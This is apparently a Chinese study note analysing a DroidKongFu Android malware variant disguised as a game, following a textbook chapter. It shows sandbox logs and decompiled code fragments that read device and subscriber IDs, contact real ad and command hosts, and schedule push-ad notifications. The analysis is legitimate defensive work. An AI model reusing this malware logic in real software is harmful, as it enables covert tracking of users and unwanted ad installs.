[关闭]
@natsumi 2017-01-13T02:44:45.000000Z 字数 13600 阅读 1764

DroidKongFu变种病毒实例分析

Android 安全


参考<<Android软件安全与逆向分析>>第12章

1.1 病毒介绍

书中提供了病毒样本virus.apk

1.2 病毒执行状态分析

1.2.1 用APIMonitor初步分析(日志信息)

APIMonitor是DroidBox中的工具,其原理是向目标APK文件中插入桩代码,实现对特定API的监控.
重新打包后的程序可以在Android模拟器中直接运行,我们只需分析Tag标记为DroidBox的日志信息

在模拟器中安装打包生成的virus_new.apk
安装提示

运行病毒程序,并在DDMS中滤出Tag为DroidBox的日志信息如下:

  1. 10-10 12:37:33.060: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  2. 10-10 12:37:33.080: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;=310260000000000
  3. 10-10 12:37:33.120: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  4. 10-10 12:37:33.140: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;=310260000000000
  5. 10-10 12:37:33.330: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  6. 10-10 12:37:33.380: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;=310260000000000
  7. 10-10 12:37:33.390: V/DroidBox(2180): Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;=MD5)Ljava/security/MessageDigest;=MESSAGE DIGEST MD5
  8. 10-10 12:37:33.400: V/DroidBox(2180): Ljava/security/MessageDigest;->update([B={48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48})V
  9. 10-10 12:37:33.400: V/DroidBox(2180): Ljava/security/MessageDigest;->digest()[B={82, -124, 4, 127, 79, -5, 78, 4, -126, 74, 47, -47, -47, -16, -51, 98}
  10. 10-10 12:37:33.480: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  11. 10-10 12:37:33.510: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;=310260000000000
  12. 10-10 12:37:33.589: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  13. 10-10 12:37:33.609: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;=310260000000000
  14. 10-10 12:37:33.679: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  15. 10-10 12:37:33.689: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;=310260000000000
  16. 10-10 12:37:33.839: V/DroidBox(2180): Landroid/content/Intent;-><init>(Landroid/content/Context;=com.tebs3.cuttherope.MainActivity@4175a890 | Ljava/lang/Class;=class ad.imadpush.com.poster.ReceiverAlarm)V
  17. 10-10 12:37:33.879: V/DroidBox(2180): Landroid/content/Intent;-><init>()V
  18. 10-10 12:37:33.980: V/DroidBox(2180): Landroid/content/Intent;-><init>(Landroid/content/Context;=android.app.ReceiverRestrictedContext@417b6c60 | Ljava/lang/Class;=class ad.imadpush.com.poster.AlarmService)V
  19. 10-10 12:37:34.080: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  20. 10-10 12:37:34.879: V/DroidBox(2180): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000
  21. 10-10 12:37:34.889: V/DroidBox(2180): Ljava/net/URL;-><init>(Ljava/lang/String;=http://ad.imadpush.com:7500/AppManager/index.php/user/register/register)V
  22. 10-10 12:37:34.899: V/DroidBox(2180): Ljava/net/URL;-><init>(Ljava/lang/String;=http://ad.imadpush.com:7500/AppManager/index.php/user/register/register)V
  23. 10-10 12:37:34.919: V/DroidBox(2180): Ljava/net/URL;->openConnection()Ljava/net/URLConnection;=libcore.net.http.HttpURLConnectionImpl:http://ad.imadpush.com:7500/AppManager/index.php/user/register/register
  24. 10-10 12:37:34.919: V/DroidBox(2180): Ljava/net/URL;->openConnection()Ljava/net/URLConnection;=libcore.net.http.HttpURLConnectionImpl:http://ad.imadpush.com:7500/AppManager/index.php/user/register/register
  25. 10-10 12:37:36.410: V/DroidBox(2180): Landroid/content/Intent;-><init>(Ljava/lang/String;=android.intent.action.MAIN)V
  26. 10-10 12:37:49.729: V/DroidBox(2273): Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;=000000000000000

从上面的日志中可以看出,该病毒执行了如下动作

书中的日志信息里还访问了网站http://ad.imadpush.com:7500/AppManager/index.php/AppPoster/mgPush/getPush
访问此网页时会看到一些PHP代码,在请求APK广告,而且还是Push广告.

通过收集以上信息我们可以初步判断,该程序窃取用户隐私信息,并且访问广告网站获取Push广告程序.

1.2.2 使用DroidBox动态分析

使用DroidBox提供的脚本启动模拟器并运行病毒程序
DroidBox运行截图

输出信息如下:

  1. {
  2. "apkName": "./virus_new.apk",
  3. "enfperm": [],
  4. "recvnet": {},
  5. "servicestart": {
  6. "1.9412097930908203": {
  7. "type": "service",
  8. "name": "com.airpuh.ad.UpdateCheck"
  9. },
  10. "2.0351669788360596": {
  11. "type": "service",
  12. "name": "ad.imadpush.com.poster.AlarmService"
  13. },
  14. "2.0411927700042725": {
  15. "type": "service",
  16. "name": "ad.imadpush.com.poster.AlarmService"
  17. }
  18. },
  19. "sendsms": {},
  20. "cryptousage": {},
  21. "sendnet": {},
  22. "accessedfiles": {
  23. "1631407442": "/proc/2285/cmdline",
  24. "685192868": "/proc/2269/cmdline",
  25. "1553952823": "/data/data/com.tebs3.cuttherope/shared_prefs/jmuser.xml"
  26. },
  27. "fdaccess": {
  28. "1.8503949642181396": {
  29. "path": "/data/data/com.tebs3.cuttherope/shared_prefs/jmuser.xml",
  30. "operation": "write",
  31. "data": "3c3f786d6c2076657273696f6e3d27312e302720656e636f64696e673d277574662d3827207374616e64616c6f6e653d2779657327203f3e0a3c6d61703e0a3c6c6f6e67206e616d653d22644964222076616c75653d2231303030303122202f3e0a3c2f",
  32. "id": "1553952823",
  33. "type": "file write"
  34. },
  35. "4.592650890350342": {
  36. "path": "/proc/2269/cmdline",
  37. "operation": "read",
  38. "data": "636f6d2e74656273332e637574746865726f70650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  39. "id": "685192868",
  40. "type": "file read"
  41. },
  42. "4.6144537925720215": {
  43. "path": "/proc/2285/cmdline",
  44. "operation": "read",
  45. "data": "6c6f676361740044726f6964426f783a570064616c76696b766d3a570041637469766974794d616e616765723a49000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  46. "id": "1631407442",
  47. "type": "file read"
  48. }
  49. },
  50. "dataleaks": {},
  51. "opennet": {
  52. "2.2590739727020264": {
  53. "desthost": "204.11.56.48",
  54. "fd": "17",
  55. "destport": "7500"
  56. },
  57. "4.693039894104004": {
  58. "desthost": "204.11.56.48",
  59. "fd": "19",
  60. "destport": "7500"
  61. },
  62. "28.429805994033813": {
  63. "desthost": "74.125.205.147",
  64. "fd": "21",
  65. "destport": "80"
  66. }
  67. },
  68. "recvsaction": {},
  69. "dexclass": {
  70. "0.6931278705596924": {
  71. "path": "/data/app/com.tebs3.cuttherope-1.apk",
  72. "type": "dexload"
  73. }
  74. },
  75. "hashes": ["f9950b58d6e22886010533cd23b93cb9",
  76. "4ccb188950496cb37e8b3da1bdc43f8722961faf",
  77. "c1a15f353337084374db17b20ebab4867f6d8e87a854d5338e19c3dac4dab542"],
  78. "closenet": {},
  79. "phonecalls": {}
  80. }

文件操作
25行&29行处,病毒向程序shared_prefs目录下写入了jmuser.xml文件

并向lib目录下写入了tmp-622898097tmp文件,根据经验可以初步判断是一个随机生成的文件名.

网络连接
连接了2个IP地址(53 57 63行):
204.11.56.48:7500和74.125.205.147:80

ad.imadpush.com(58.221.44.102):7500

广播接收者和启动服务
未检测到广播接收者,但是除了AlarmService外还检测到了APIMonitor漏掉的com.airpuh.ad.UpdateCheck

信息泄露

三处信息泄露 P373

生成两个图像是什么鬼!!!!!

1.3 病毒代码逆向分析

工具:apktool dex2jar jd-gui
jd-gui下载jd-gui-0.3.5.linux.i686.tar.gz:http://jd.benow.ca/jd-gui/downloads/
apktool安装:https://www.zybuluo.com/natsumi/note/194111

1.3.1 Java层启动代码分析

Apktool反编译生成各种文件
反编译生成的文件们

1.3.1.1 AndroidManifest.xml文件分析

以下是反编译得到的Manifest文件

  1. <?xml version="1.0" encoding="utf-8" standalone="no"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tebs3.cuttherope">
  3. <application android:icon="@drawable/icon" android:label="@string/app_name">
  4. <activity android:label="@string/app_name" android:name="MainActivity">
  5. <intent-filter>
  6. <action android:name="android.intent.action.MAIN"/>
  7. <category android:name="android.intent.category.LAUNCHER"/>
  8. </intent-filter>
  9. </activity>
  10. <service android:name="com.airpuh.ad.UpdateCheck"/>
  11. <meta-data android:name="MYAD_PID" android:value="NCuttherope"/>
  12. <activity android:name="ad.imadpush.com.poster.PosterInfoActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.NoTitleBar"/>
  13. <receiver android:name="ad.imadpush.com.poster.ReceiverAlarm"/>
  14. <service android:name="ad.imadpush.com.poster.AlarmService"/>
  15. <meta-data android:name="ad.imadpush.com" android:value="100001"/>
  16. </application>
  17. <uses-permission android:name="android.permission.INTERNET"/>
  18. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
  19. <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
  20. <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
  21. <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
  22. </manifest>

可得到如下信息

1.3.1.2 MainActivity分析

jd-gui查看dex2jar.sh转化出的jar文件--MainActivity
病毒在MainActivity的onCreate方法中做了三件事

  1. //启动广告接收线程
  2. this.mAd2 = new NewAd(this);
  3. this.mAd2.startAd();
  4. //启动全局定时器
  5. new f(this);
  6. //启动恶意服务
  7. paramBundle = new Intent();
  8. paramBundle.setClass(this, UpdateCheck.class);
  9. startService(paramBundle);

NewAd从名称上就可以判断是与广告相关的类
查看startAd()方法,代码只有一行, 创建了g对象并调用了它的start()方法

  1. public void startAd()
  2. {
  3. new g(this).start();
  4. }

在jd-gui中点击g的链接跟踪g类的代码,发现g是一个线程类,start方法即执行run方法.这里主要调用了NewAd类的a和b方法

  1. public void run()
  2. {
  3. while (true)
  4. {
  5. if (NewAd.a(this.a))
  6. return;
  7. NewAd.b(this.a);
  8. try
  9. {
  10. sleep(5000L);
  11. }
  12. catch (InterruptedException localInterruptedException)
  13. {
  14. }
  15. }
  16. }

a和b方法的代码

  1. private void a()
  2. {
  3. if ((this.a) || (!b()))
  4. return;
  5. Object localObject = new DefaultHttpClient();
  6. HttpGet localHttpGet = new HttpGet("http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=all");
  7. try
  8. {
  9. localObject = ((HttpClient)localObject).execute(localHttpGet);
  10. if (((HttpResponse)localObject).getStatusLine().getStatusCode() == 200)
  11. {
  12. boolean bool = EntityUtils.toString(((HttpResponse)localObject).getEntity(), "utf-8").trim().equalsIgnoreCase("");
  13. if (bool);
  14. }
  15. label84: localObject = "CHNF".split(":");
  16. int i = 0;
  17. if (i >= localObject.length)
  18. {
  19. this.a = true;
  20. return;
  21. }
  22. if (localObject[i].equalsIgnoreCase("DM"))
  23. this.c.g();
  24. while (true)
  25. {
  26. i += 1;
  27. break;
  28. if (localObject[i].equalsIgnoreCase("DW"))
  29. this.d.g();
  30. else if (localObject[i].equalsIgnoreCase("HDT"))
  31. this.e.g();
  32. else if (localObject[i].equalsIgnoreCase("WEB"))
  33. this.f.g();
  34. else if (localObject[i].equalsIgnoreCase("CHNF"))
  35. this.g.g();
  36. else if (localObject[i].equalsIgnoreCase("WI"))
  37. this.h.g();
  38. }
  39. }
  40. catch (Exception localException)
  41. {
  42. break label84;
  43. }
  44. }
  45. private boolean b()
  46. {
  47. ConnectivityManager localConnectivityManager = (ConnectivityManager)this.b.getSystemService("connectivity");
  48. if (localConnectivityManager.getNetworkInfo(1).isConnected())
  49. return true;
  50. return localConnectivityManager.getNetworkInfo(0).isConnected();
  51. }

a和b都是虚构合成的(static synthetic),查看反编译生成的NewAd.smali文件找到a和b方法

  1. .method static synthetic a(Lcom/tebs3/battery/NewAd;)Z
  2. .locals 1
  3. iget-boolean v0, p0, Lcom/tebs3/battery/NewAd;->a:Z
  4. return v0
  5. .end method
  6. .method static synthetic b(Lcom/tebs3/battery/NewAd;)V
  7. .locals 0
  8. invoke-direct {p0}, Lcom/tebs3/battery/NewAd;->a()V
  9. return-void
  10. .end method

结合NewAd中这两个方法的代码可以发现:a方法的实质是访问了NewAd类的a成员,该变量是boolean型,初始值为false.因此执行run方法中的第一个if语句时不会返回.b方法实质是调用NewAd类的a方法,主要工作是访问网址http://dd.phonego8.com:7500/ad/nadp.php?v=1.5&id=all并解析返回的结果,根据不同结果调用不同的方法,并设置成员a的值为ture.
其实就是请求不同广告商的Push广告.

  1. public void a(Activity paramActivity, boolean paramBoolean)
  2. {
  3. l.a = paramBoolean;
  4. a = paramActivity;
  5. this.g = m.b(paramActivity);
  6. d = paramActivity.getSharedPreferences("jmuser", 0);//读取sharepreference文件
  7. d.edit().putLong("dId", this.g.longValue()).commit();//写入dId值
  8. new c(this).execute(new Object[] { null, Integer.valueOf(0), null });//实例化一个c对象,继承自AsyncTask,执行异步操作
  9. }

b方法启动了一个全局定时器,对象为ReceiverAlarm,周期为360s.

  1. private static void b()
  2. {
  3. Object localObject = new Intent(a, ReceiverAlarm.class);
  4. e = PendingIntent.getBroadcast(a, 0, (Intent)localObject, 0);
  5. localObject = Calendar.getInstance();
  6. ((Calendar)localObject).setTimeInMillis(System.currentTimeMillis());
  7. Date localDate = new Date(((Calendar)localObject).getTimeInMillis());
  8. l.a(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate));
  9. c = (AlarmManager)a.getSystemService("alarm");//获取系统定时服务
  10. c.setRepeating(0, ((Calendar)localObject).getTimeInMillis(), 360000L, e);//启动定时器
  11. }

ReceiverAlarm收到定时消息后执行onReceive()方法,启动AlarmService服务.
AlarmService服务启动时执行onStart方法,获取系统的通知服务,然后执行异步任务向用户发送通知,诱骗用户安装广告软件.

  1. public void onStart(Intent paramIntent, int paramInt)
  2. {
  3. super.onStart(paramIntent, paramInt);
  4. this.d = f.a;
  5. this.e = Long.valueOf(f.d.getLong("userId", 0L));
  6. this.g = Long.valueOf(f.d.getLong("dId", 0L));
  7. a();//该方法获取系统通知服务
  8. new g(this).execute(new Object[] { null, Integer.valueOf(0), null });//创建AsyncTask对象并执行发送通知任务
  9. }
  1. paramBundle = new Intent();
  2. paramBundle.setClass(this, UpdateCheck.class);
  3. startService(paramBundle);

首先是这个static语句块,它会在类加载的时候被执行,加载了一个原声动态链接库vadgo.

  1. static
  2. {
  3. System.loadLibrary("vadgo");
  4. }

然后是onCreate方法,其中设置了mCh mId mPkg共3个成员变量,他们的值分别是元数据MYAD_PID(AndroidManifest.xml中值为NCuttherope) 设备ID 和程序包名.然后启动了一个新的线程

  1. public void onCreate()
  2. {
  3. super.onCreate();
  4. try
  5. {
  6. Object localObject = getPackageManager().getApplicationInfo(getPackageName(), 128).metaData.get("MYAD_PID");
  7. if (localObject != null)
  8. this.mCh = ((String)localObject);
  9. this.mId = ((TelephonyManager)getSystemService("phone")).getDeviceId();
  10. if (this.mId == null)
  11. this.mId = Settings.System.getString(getContentResolver(), "android_id");
  12. this.mPkg = getPackageName();
  13. new Thread()
  14. {
  15. public void run()
  16. {
  17. UpdateCheck.this.DataInit(UpdateCheck.this.mId, UpdateCheck.this.mCh, UpdateCheck.this.mPkg);
  18. }
  19. }
  20. .start();
  21. return;
  22. }
  23. catch (Exception localException)
  24. {
  25. while (true)
  26. localException.printStackTrace();
  27. }
  28. }

新线程的run方法只有一行代码~DataInit是一个Native方法.

  1. UpdateCheck.this.DataInit(UpdateCheck.this.mId,
  2. UpdateCheck.this.mCh,
  3. UpdateCheck.this.mPkg);

这个方法执行完毕病毒主体就算真正的激活了.也就是从这里开始,病毒的代码从Java层进入到了Native层.

1.3.2 Native层启动代码分析

Ubuntu下的IDA Pro用起来不太方便,切换到Win7,将apktool输出的libvadgo.so拖进IDA窗口,分析Native层代码。
定位到DataInit函数
IDA查看DataInit函数

经过分析得到完整的执行流程
病毒执行流程图

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注